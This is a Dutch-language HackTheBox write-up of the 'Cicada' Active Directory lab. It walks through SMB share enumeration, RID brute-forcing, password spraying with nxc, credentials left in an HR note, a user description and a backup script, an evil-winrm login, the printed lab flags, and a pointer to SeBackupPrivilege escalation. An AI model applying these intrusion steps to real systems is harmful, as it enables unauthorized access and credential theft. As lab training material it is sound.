

Writeup Cicada

Als eerst heb ik de poorten gescanned en heb ik gezien dat er 13 poorten open waren

```
Initiating SYN Stealth Scan at 08:48
Scanning 10.129.6.130 [65535 ports]
Discovered open port 53/tcp on 10.129.6.130
Discovered open port 139/tcp on 10.129.6.130
Discovered open port 135/tcp on 10.129.6.130
Discovered open port 445/tcp on 10.129.6.130
SYN Stealth Scan Timing: About 16.29% done; ETC: 08:52 (0:02:39 remaining)
Discovered open port 593/tcp on 10.129.6.130
Discovered open port 636/tcp on 10.129.6.130
Discovered open port 88/tcp on 10.129.6.130
Discovered open port 5985/tcp on 10.129.6.130
SYN Stealth Scan Timing: About 42.98% done; ETC: 08:51 (0:01:21 remaining)
Discovered open port 3269/tcp on 10.129.6.130
Discovered open port 389/tcp on 10.129.6.130
Discovered open port 464/tcp on 10.129.6.130
Discovered open port 50131/tcp on 10.129.6.130
Discovered open port 3268/tcp on 10.129.6.130
Completed SYN Stealth Scan at 08:50:10.93 on 10.129.6.130 [65535 ports]
```

Aan de volgende foto kan je zien dat dit een Active Directory box is met een domain controller.

```
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
```

We gaan gaan enumeraten op de smb server. Dit zullen we gaan doen aan de hand van het smbmap commando. Hiermee kunnen we gaan zien op welke map we met de user kunnen gaan connecteren of niet en welke permissions we op deze map hebben.

Dit heb ik gedaan aan de hand van het volgende commando:

```
smbmap -H 10.129.6.130 -u anonymous
```

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ smbmap -H 10.129.6.130 -u anonymous
[+] Guest session      IP: 10.129.6.130:445    Name: 10.129.6.130

  Disk                Permissions      Comment
  ----                -
  ADMIN$              NO ACCESS      Remote Admin
  C$                  NO ACCESS      Default share
  DEV                 NO ACCESS
  HR                  READ ONLY
  IPC$                READ ONLY      Remote IPC
  NETLOGON            NO ACCESS      Logon server share
  SYSVOL              NO ACCESS      Logon server share
```

We zullen nu gaan connecteren met de smb server. Dit zullen we gaan doen aan de hand van het volgende commando

```
smbclient \\\10.129.6.130\\HR -U "anonymous"
```

Als we gaan kijken naar wat er nu in de subdirectory HR zit zullen we gaan zien dat er een document in deze directory is. We zullen dit document naar onze eigen machine gaan downloaden aan de hand van het get commando:

```
get "Notice from HR.txt"
```

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ smbclient \\\10.129.6.130\\HR -U "anonymous"
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls

.                D      0  Thu Mar 14 07:29:09 2024
..               D      0  Thu Mar 14 07:21:29 2024
Notice from HR.txt  A    1266  Wed Aug 28 12:31:48 2024

4168447 blocks of size 4096. 434564 blocks available
smb: \> get Notice from HR.txt
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Notice
smb: \> ls

.                D      0  Thu Mar 14 07:29:09 2024
..               D      0  Thu Mar 14 07:21:29 2024
Notice from HR.txt  A    1266  Wed Aug 28 12:31:48 2024

4168447 blocks of size 4096. 434565 blocks available
smb: \> mget *
Get file Notice from HR.txt?
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (33.4 KiloBytes/sec) (average 33.4 KiloBytes/sec)
smb: \> exit
```

Als we in het zonet bekeken document gaan kijken, zien we een password. Dit is het default password van een user die we straks zullen gaan achterhalen.

```
➜ (*)$ cat Notice\ from\ HR.txt
```

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada\$M6Corp*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

We zullen nu gaan enumeraten op de users. De enumeraten van de users gaat als volgt:

```
nxc smb 10.129.6.130 -u 'anonymous' -p '' --rid-brute
```

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ nxc smb 10.129.6.130 -u 'anonymous' -p '' --rid-brute
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
```

SMB	10.129.6.130	445	CICADA-DC	502: CICADA\krbtgt (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	512: CICADA\Domain Admins (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	513: CICADA\Domain Users (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	514: CICADA\Domain Guests (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	515: CICADA\Domain Computers (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	516: CICADA\Domain Controllers (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	517: CICADA\Cert Publishers (SidTypeAlias)
SMB	10.129.6.130	445	CICADA-DC	518: CICADA\Schema Admins (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	519: CICADA\Enterprise Admins (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	525: CICADA\Protected Users (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	526: CICADA\Key Admins (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB	10.129.6.130	445	CICADA-DC	571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB	10.129.6.130	445	CICADA-DC	572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB	10.129.6.130	445	CICADA-DC	1000: CICADA\CICADA-DC\$ (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	1101: CICADA\DnsAdmins (SidTypeAlias)
SMB	10.129.6.130	445	CICADA-DC	1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	1103: CICADA\Groups (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	1104: CICADA\john.smoulder (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	1105: CICADA\sarah.dantelia (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	1106: CICADA\michael.wrightson (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	1108: CICADA\david.orelious (SidTypeUser)
SMB	10.129.6.130	445	CICADA-DC	1109: CICADA\Dev Support (SidTypeGroup)
SMB	10.129.6.130	445	CICADA-DC	1601: CICADA\emily.oscars (SidTypeUser)

Voor een mooi overzicht te hebben van alle users heb ik deze in een aparte file users.txt gezet.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ cat users.txt
krbtgt
Guest
Administrator
CICADA-DC$
sarah.dantelia
michael.wrightson
john.smoulder
david.orelious
emily.oscars
```

Nu gaan we zoeken achter welke user het password is van de file die we zonet in de Notice \ from\ HR.txt file hebben gevonden. Dit zullen we gaan doen aan de hand van het volgende

commando.

```
nxc smb 10.129.6.130 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

Deze code heb ik gevonden door samen te werken met chatgpt.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekati23@htb-gtnirmlub]-[~]  
[*]$ nxc smb 10.129.6.130 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'  
SMB 10.129.6.130 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)  
SMB 10.129.6.130 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE  
SMB 10.129.6.130 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE  
SMB 10.129.6.130 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE  
SMB 10.129.6.130 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE  
SMB 10.129.6.130 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE  
SMB 10.129.6.130 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
```

Zoals je hierboven kunt zien is het de user michael dat overeenkomt met het zonet gevonden wachtwoord. Als we nu is gaan zoeken naar de gebruikerslijsten die de user kan gaan zien op de SMB server. Waarmee we dit zullen gaan doen door het volgende commando te gaan gebruiken.

```
nxc smb 10.129.6.130 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

We krijgen hierbij dus het password van een user te zien die dat we daarstraks hadden genumereerd van de SMB server.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekati23@htb-gtnirmlub]-[~]  
[*]$ nxc smb 10.129.6.130 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users  
SMB 10.129.6.130 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)  
SMB 10.129.6.130 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8  
SMB 10.129.6.130 445 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-  
SMB 10.129.6.130 445 CICADA-DC Administrator 2024-08-26 20:08:03 1 Built-in account for administering the computer/domain  
SMB 10.129.6.130 445 CICADA-DC Guest 2024-08-28 17:26:56 1 Built-in account for guest access to the computer/domain  
SMB 10.129.6.130 445 CICADA-DC krbtgt 2024-03-14 11:14:10 1 Key Distribution Center Service Account  
SMB 10.129.6.130 445 CICADA-DC john.smoulder 2024-03-14 12:17:29 0  
SMB 10.129.6.130 445 CICADA-DC sarah.dantelia 2024-03-14 12:17:29 1  
SMB 10.129.6.130 445 CICADA-DC michael.wrightson 2024-03-14 12:17:29 0  
SMB 10.129.6.130 445 CICADA-DC david.orelous 2024-03-14 12:17:29 0 Just in case I forget my password is aRt$Lp#7t*VQ!3  
SMB 10.129.6.130 445 CICADA-DC emily.oscars 2024-08-22 21:20:17 0  
SMB 10.129.6.130 445 CICADA-DC [*] Enumerated 8 local users: CICADA
```

Ik ben nu aan de hand van de gegevens dat ik nu wist van david is gaan kijken op welke subdirectories deze user kon gaan readen of schrijven van de SMB Server.

Hierbij kan je zien dat de user tot 5 disk read rechten heeft.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ smbmap -H 10.129.6.130 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
[+] IP: 10.129.6.130:445      Name: cicada.htb

  Disk      Permissions      Comment
  ----      -
  ADMIN$    NO ACCESS      Remote Admin
  C$        NO ACCESS      Default share
  DEV       READ ONLY
  HR        READ ONLY
  IPC$      READ ONLY      Remote IPC
  NETLOGON  READ ONLY      Logon server share
  SYSVOL    READ ONLY      Logon server share
```

Ik zal als eerst een keer een smbclient gaan starten naar de DEV disk. Dit is gewoon omdat ik van boven naar beneden zal te werk gaan. Zoals je op de foto hieronder zult kunnen zien is er een powershell script gevonden. Dit script zal ik gaan downloaden naar mijn eigen machine. Dit zal ik ook weer gaan doen aan de hand van het get commando.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ smbclient \\\10.129.6.130\DEV -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Thu Mar 14 07:31:39 2024
..               D          0   Thu Mar 14 07:21:29 2024
Backup_script.ps1 A        601   Wed Aug 28 12:28:22 2024

4168447 blocks of size 4096. 435455 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (15.0 KiloBytes/sec) (average 15.0 KiloBytes/sec)
```

Als we deze powershell file zullen gaan bekijken met het cat commando zullen we daar een username en een password zullen zien staan die dat we weer kunnen gaan gebruiken voor een evil-winrm te kunnen gaan opstarten naar de machine van emily de gevonden user van het powershell script file.

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekat123@htb-gtnirimlub]-[~]
[*]$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

Met het volgende commando maak je een verbinding met een Windows-systeem via de Windows Remote Management (WinRM)-service, een standaard Windows-service die beheer

op afstand mogelijk maakt.

```
evil-winrm -i 10.129.6.130 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

```
[eu-dedivip-2]-[10.10.14.50]-[hackthekati23@ntb-gtnirmclub]-[~]
[*]$ evil-winrm -i 10.129.6.130 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
The term 'lsd' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ lsd
+ ~~~
+ CategoryInfo          : ObjectNotFound: (lsd:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> dir
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> ls
```

Als ik nu zal gaan navigeren naar de Desktop, dan zal je daar de eerste flag hebben.

user flag: 13745a6d63034d45218865ca910600cb

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls

Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---             1/5/2025   1:48 PM           34 user.txt

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
13745a6d63034d45218865ca910600cb
```

Nu moeten we onze privileges escaleren. De eerste gebruikelijke manier om dit te controleren is door het commando `whoami /priv` te gebruiken om te kijken of er privileges zijn die we kunnen misbruiken.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

Ik ben vanaf daar gaan zoeken naar de SeBackupPrivilege Of dat er hiervoor geen methode of exploit te vinden is.

Dan heb ik deze link gevonden:

<https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>

Vanaf hier volg je de exploit en dan kom je uiteindelijk in de administrator zijn shell en hebje de root user behaald.

root flag: 02c3aec52605511c1f84009dba8060ea

```
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
```

Directory: C:\Users\Administrator\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-ar---	1/5/2025 1:48 PM	34	root.txt

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
```

```
02c3aec52605511c1f84009dba8060ea
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> █
```



Cicada has been Pwned!

Congratulations  **Hackthekat123**, best of luck in capturing flags ahead!

#10373	05 Jan 2025	30
MACHINE RANK	PWN DATE	POINTS EARNED

OK

SHARE